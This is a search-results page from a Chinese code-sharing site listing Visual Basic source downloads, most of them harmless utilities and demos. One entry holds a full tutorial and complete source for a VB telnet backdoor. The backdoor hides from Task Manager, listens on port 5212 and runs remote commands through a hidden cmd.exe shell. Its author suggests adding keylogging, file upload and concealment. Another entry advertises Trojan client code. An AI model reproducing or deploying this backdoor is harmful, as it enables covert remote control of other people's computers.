Welcome![Sign In][Sign Up]
Location:
Search - vb .x

Search list

[Develop ToolsVB技巧大全

Description: 介绍: 读写INI文件的四个函数 如何取得计算机名 计算Windows从启动后所运行的总时间 使窗体右上角的X按钮失效删除系统菜单 动态改变及恢复屏幕设置下 制作垂直标题栏的窗体下 用API函数控制光驱的开关 等。-presentations : INI file read and write function of how four computer from the Windows were calculated after commencement of the total running time for the X Window Instructions Failure to delete button menu system and the dynamic change screen settings to resume production of the vertical column headings using the Window API function control drive switches.
Platform: | Size: 409156 | Author: 刘亮 | Hits:

[WinSock-NDISZX Messenger X 源代码

Description: 学VB最好的一个源程序------ZX Messenger X 源代码-school VB one of the best source ------ ZX Messenger X source code
Platform: | Size: 5283349 | Author: liuwenming_6588 | Hits:

[Crack HackVB_DTFT_2

Description: 用VB实现DTFT-2,借花献佛,希望对有些朋友有用!-VB X-2, Jiehuaxianbi, hoping for some useful friends!
Platform: | Size: 5403 | Author: wyh | Hits:

[Applications医院X光片资料管理系统

Description: vb编程,希望为初学者提供完整的代码以供研究参考-vb programming, in the hope of providing complete beginners code reference for the study
Platform: | Size: 553044 | Author: 王仁 | Hits:

[DirextXdx9vbu_progressive_mesh

Description: .x 檔案解檔秀圖 可增加3D平面,使物件表面更加平滑 \\wolf.x \\wolfmap.jpg \\form1.vb \\moduleX.vb \\moduleX2.vb \\assemblyInfo.vb- x 鈻
Platform: | Size: 426017 | Author: 李世民 | Hits:

[Other resourceVB

Description: include称为文件包含命令扩展名为.h的文件也称为头文件或首部文件 定义两个实数变量,以被后面程序使用 显示提示信息 从键盘获得一个实数x 求x的正弦,并把它赋给变量s 显示程序运算结果 main函数结束
Platform: | Size: 274635 | Author: 王辉 | Hits:

[Network DevelopVB Telnet编程指导思路

Description:

vB编程之TELNET
对于TELNET后门的编写我们可通过VC来编写,网上也有很多的关于用VC编写TELNET后门的源码。但是看X档案的一定不少是喜欢VB来编写程序的。纵然编写TELNET后门不是VB的长项,但这不并难实现。偶没见网上有用VB编写TELNET后门的文章,所以我就写下了此文,确切的说,
这不是个真正后门,只是一个后门的基本模型,甚至可以说毛坯。BUG的修改,不足的修补,功能的扩充还需读者动手来实现。
首先,我们在大脑里想象出一个后门运行的过程或者把其大概的流程画出来,然后就按这个过程逐步来实现。好了,
下面就开始我们的后门编写之路。首先就是当程序运行时防止再一个程序的运行,实现代码如下:
Private Sub Form_Load()
syspath = systempath()
'防止多个程序运行
If App.PrevInstance Then
End
End If
cmdno = True
'使程序不在任务管理器中显示
App.TaskVisible = False
'监听端口5212
Winsock1.LocalPort = 5212
Winsock1.Listen
End Sub
其次,当telnet端请求连接时,服务端接受请求。(大家可以在此试着实现密码验证机制的实现,很简单,在此不再给出代码)
当TELNET连接时,触发ConnectionRequest事件,在这个事件中向控制端发送相应的成功连接和帮助信息。
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _
Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _
vbCrLf & "type help to get help" & vbCrLf & "shell>"
End If
End Sub
当我们连接上时,就需要对TELNET发来的命令进行一系列的处理和执行,以及执行相关的控制功能。
其中的问题是服务端接受来自TELNET客户端的连接和命令,由于TELNET传输命令时只能每间次传输一个字符的特殊性,
所以我们需要编写一个处理命令的过程,这个不难实现。还有就是对特殊字符的过滤和处理,如TELNET输入错误按DEL键,
按ENTER键来完成一条命令的输入。当TELNET连上服务端时,实现shell功能,以及shell功能和其它功能的分离。
对其中的问题有了大概的了解,那实现起来也就不难了。代码如下:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str1 As String
Dim scmd As String
Dim i As Integer
Dim tag As Integer
Winsock1.GetData str1
'过滤del键盘,用来telnet命令输入错误处理.如果输入del键盘,则当前命令无效
If Asc(str1) = 8 Then
myname = "" '清空命令存储
Winsock1.SendData vbCrLf & "shell>"
End If
'检察当前一个命令的完整性和对命令输入错误的处理
If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then
myname = myname + str1
Elseif Asc(str1) <> 8 Then
'测试时,查看接受的命令
Text1.Text = myname & vbcrlf
myname = "" '清空对当前命令的存储,用来接受下一条命令
'--------下面是对接受命令的处理
tag = InStr(Text1.Text, Chr(13)) - 1
scmd = Left(Text1.Text, tag)
'------------------------------
'判断是不是在虚拟shell中,不是则执行如下命令,否则执行虚拟shell命令语句
If cmdno = True Then
Select Case scmd
Case "help"
Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _
vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"

Case "reboot"
ExitWindowsEx EXW_REBOOT, 0

Case "shutdown"
ExitWindowsEx EXW_SHUTDOWN, 0
Case "exit"
Winsock1.SendData "exit seccessful!"
Winsock1.Close
Winsock1.Listen
Case "cmd"
Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"
cmdno = False
Case Else
Winsock1.SendData "cammond error!" & vbCrLf & "shell>"
End Select
Else
Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide
Sleep (500)
'调用执行结果发送过程
Call tranrlt
Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"
If scmd = "exit" Then
Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"
cmdno = True '重置虚拟shell标志
End If
End If
End If
End Sub
接下来要考滤的是,虚拟shell的实现,我用了一个简单的方法,就是把命令执行结果写入一个文本文档,然后读取其中的内
容并将结果发送给控制端。代码如下:
Sub tranrlt()
Dim strrlt As String
Open syspath & "\shell.rlt" For Input As #1
Do While Not EOF(1)
Line Input #1, strrlt
Winsock1.SendData strrlt & vbCrLf
Loop
Close #1
Winsock1.SendData "----------------------------------------------------" & vbCrLf
Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide
End Sub
至此,后门的主要问题都解决了,也许有的读者可以看出,这个后门模型存在问题。的确,这个后门模型并不完整,
所谓学而三思,思而后行,剩下的问题读者可以试着去解决。在此我不在给出源码。提示一下:
(1)如果TELNET不正常退出,服务端还会继续保存当前的会话,重新连接后失败。还有就是如何可以允许多人同时连接功能。
(2)读者可以加上密码验证机制,在此基础上扩大它的控制功能,如键盘记录,文件上传等。
(3)一个成功的后门,必然有一个好的隐藏和自我保护机制,所以,大家需要努力发挥自己的聪明和才智了。
以上只是个人愚见,不难实现。其实程序编写只有深入其中,动手实践,才会发现各种问题,而正是在这发现问题,解决问题的过程中,
你会学到更多,成功后的满足也更多。当我们苦苦思索解决一个问题或实现一种新方法和功能时,那种豁然开朗,
成功的喜悦会让你体会编程的乐趣。希望大家看完本文和在动手来完善它的时候,能学到些知识和技巧,那本文的目的也就达到了。

_____________--源码
Public syspath As String
Public cmdno As Boolean
Private Declare Sub Sleep Lib "kernel32" (ByVal nsecond As Long)
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Const EWX_REBOOT = 2
Const EWX_SHUTDOW = 1
Public myname As String
Sub tranrlt()
Dim strrlt As String
Open syspath & "\shell.rlt" For Input As #1
Do While Not EOF(1)
Line Input #1, strrlt
Winsock1.SendData strrlt & vbCrLf
Loop
Close #1
Winsock1.SendData "----------------------------------------------------" & vbCrLf
Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide
End Sub
Function systempath() As String
Dim filepath As String
Dim nSize As Long
filepath = String(255, 0)
nSize = GetSystemDirectory(filepath, 256)
filepath = Left(filepath, nSize)
systempath = filepath
End Function
Private Sub Form_Load()
syspath = systempath()
If App.PrevInstance Then
End
End If
cmdno = True
App.TaskVisible = False
Winsock1.LocalPort = 5212
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _
Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _
vbCrLf & "type help to get help" & vbCrLf & "shell>"
End If
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str1 As String
Dim scmd As String
Dim i As Integer
Dim tag As Integer
Winsock1.GetData str1
If Asc(str1) = 8 Then
myname = ""
Winsock1.SendData vbCrLf & "command error!" & vbCrLf & "shell>"
End If
If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then
myname = myname + str1
ElseIf Asc(str1) <> 8 Then
Text1.Text = myname & vbCrLf
myname = ""
tag = InStr(Text1.Text, Chr(13)) - 1
scmd = Left(Text1.Text, tag)
If cmdno = True Then
Select Case scmd
Case "help"
Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _
vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"

Case "reboot"
ExitWindowsEx EXW_REBOOT, 0

Case "shutdown"
ExitWindowsEx EXW_SHUTDOWN, 0
Case "exit"
Winsock1.SendData "exit seccessful!"
Winsock1.Close
Winsock1.Listen
Case "cmd"
Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"
cmdno = False
Case Else
Winsock1.SendData "command error!" & vbCrLf & "shell>"
End Select
Else
Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide
Sleep (500)
Call tranrlt

Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"
If scmd = "exit" Then
Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"
cmdno = True
End If
End If
End If
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub


Platform: | Size: 8205 | Author: onetwogoo | Hits:

[Education soft system小学生数学运算考核系统

Description: 设置功能: 在设置中可以设置内容(加、减、乘、除、混合、随机五种;时间(1分钟、5分钟、10分钟、20分钟、30分钟、自定义);题数(10题、20题、40题、50题、自定义);界面方式(古老传说、绚丽多彩、人间仙境、透明精灵、万物光芒四种)。 界面特色: 在界面中有剩余时间、分数、题目数等提示,这些提示可以让自己清楚知道自己的成绩,当考试结束时会弹出成绩窗口,以便同学们查漏补缺。 操作方法: 本软件的操作方法很是简单,可以脱离鼠标操作,也就是全键盘输入,按回车键和输入内容就可以实现操作,为考试者提供了方便。 注意事项: 在透明精灵时就有可能看不到界面中的一些特色。要注意使用。要在设置的内容中选择一项运算方式方可以开始计时考试。因为当前软件是测试版所以在考试过程中可以按 ALT + X 强行退出考试系统。 解压密码为:vbsoft.icpcn.com-setup features : settings can be set (addition, subtraction, multiplication and addition, mixed randomly five; Time (1 minute, 5 minutes, 10 minutes, 20 minutes, 30 minutes, since the definition); That (title 10, and that 20, 40 that 50 that, since the definition); interface way (ancient legends, gorgeous, worldly paradise, transparent spirit, and everything radiance four). interface features : interfaces with the time remaining fraction, several other topics suggest that these hints can know their own achievements when the end of the test results will pop-up window, so the students identify gaps in coverage. method of operation : the software method of operation is very simple and can be operated from the mouse and keyboard input is full, press the Enter keys, and input operation can be a
Platform: | Size: 27648 | Author: 蒋平中 | Hits:

[BooksVB技巧大全

Description: 介绍: 读写INI文件的四个函数 如何取得计算机名 计算Windows从启动后所运行的总时间 使窗体右上角的X按钮失效删除系统菜单 动态改变及恢复屏幕设置下 制作垂直标题栏的窗体下 用API函数控制光驱的开关 等。-presentations : INI file read and write function of how four computer from the Windows were calculated after commencement of the total running time for the X Window Instructions Failure to delete button menu system and the dynamic change screen settings to resume production of the vertical column headings using the Window API function control drive switches.
Platform: | Size: 408576 | Author: 刘亮 | Hits:

[Internet-NetworkZX Messenger X 源代码

Description: 学VB最好的一个源程序------ZX Messenger X 源代码-school VB one of the best source------ ZX Messenger X source code
Platform: | Size: 5282816 | Author: liuwenming_6588 | Hits:

[Applications医院X光片资料管理系统

Description: vb编程,希望为初学者提供完整的代码以供研究参考-vb programming, in the hope of providing complete beginners code reference for the study
Platform: | Size: 552960 | Author: 王仁 | Hits:

[DirextXdx9vbu_progressive_mesh

Description: .x 檔案解檔秀圖 可增加3D平面,使物件表面更加平滑 \wolf.x \wolfmap.jpg \form1.vb \moduleX.vb \moduleX2.vb \assemblyInfo.vb- x 鈻
Platform: | Size: 425984 | Author: 李世民 | Hits:

[AlgorithmCRCx8+x2+x+1

Description: CRC查表法生成x8+x2+x+1,里面有源程序-CRC look-up table method to generate x8+ X2+ X+ 1, there are source
Platform: | Size: 1024 | Author: | Hits:

[xml-soap-webserviceXML

Description: VB实现XML文档的查询,非常健壮的一个系统,强烈推荐-VB achieve query XML documents, a very robust system, strongly recommend
Platform: | Size: 20480 | Author: Wagbo | Hits:

[OtherVB

Description: 在一个单位内部或通过广域协议(如X.25)互联的行业内部都有几十或上万台计算机互联,用Intranet虽然可以建立聊天室,但实现点对点实时对话却比较困难。本人用Winsock和VB自制了一套聊天室和对话系统,特拿来供同行们参考。 -In an internal or through the wide area protocol [such as X.25] within the Internet industry have dozens or thousands of computers connected by Intranet can be set up chat rooms, but the implementation of real-time peer-to-peer dialogue is more difficult. I am using Winsock and VB made a set of chat rooms and dialogue systems, special use for peer reference.
Platform: | Size: 6144 | Author: fenger | Hits:

[CA auth4.x

Description: 基于U盘的强身份认证,附VB源码及dll接口说明-U disk-based strong authentication, with VB source code and dll interface description
Platform: | Size: 527360 | Author: superstoner | Hits:

[CommunicationVB

Description: 黑客X档案2009年第7期VB木马编写之多客户端上线代码.-Hacker X Files 2009 No. 7 VB Trojan write as much as client-side code on-line.
Platform: | Size: 5120 | Author: wnaia | Hits:

[DirextX20081122760521

Description: 用DirectX显示波音747飞机模型(.X File) 资源类别: VB源码¦游戏 -Boeing 747 aircraft with DirectX display model (. X File) Resources Category: VB source ¦ Games
Platform: | Size: 110592 | Author: ussssky | Hits:

[Windows DevelopVB-Xy

Description: VB绘制X,Y坐标线,我试过了真的很好用。-VB draw X, Y coordinates of line, I tried, really well.
Platform: | Size: 6144 | Author: feng | Hits:

[OtherVB鼠标按键精灵

Description: VB鼠标按键精灵(VB模拟出的按键精灵大部分功能)(Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long) Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long Private Declare Function GetDC Lib "user32" (ByVal Hwnd As Long) As Long Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal Hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long)
Platform: | Size: 93184 | Author: 大牛12345 | Hits:
« 12 3 4 5 6 7 »

CodeBus www.codebus.net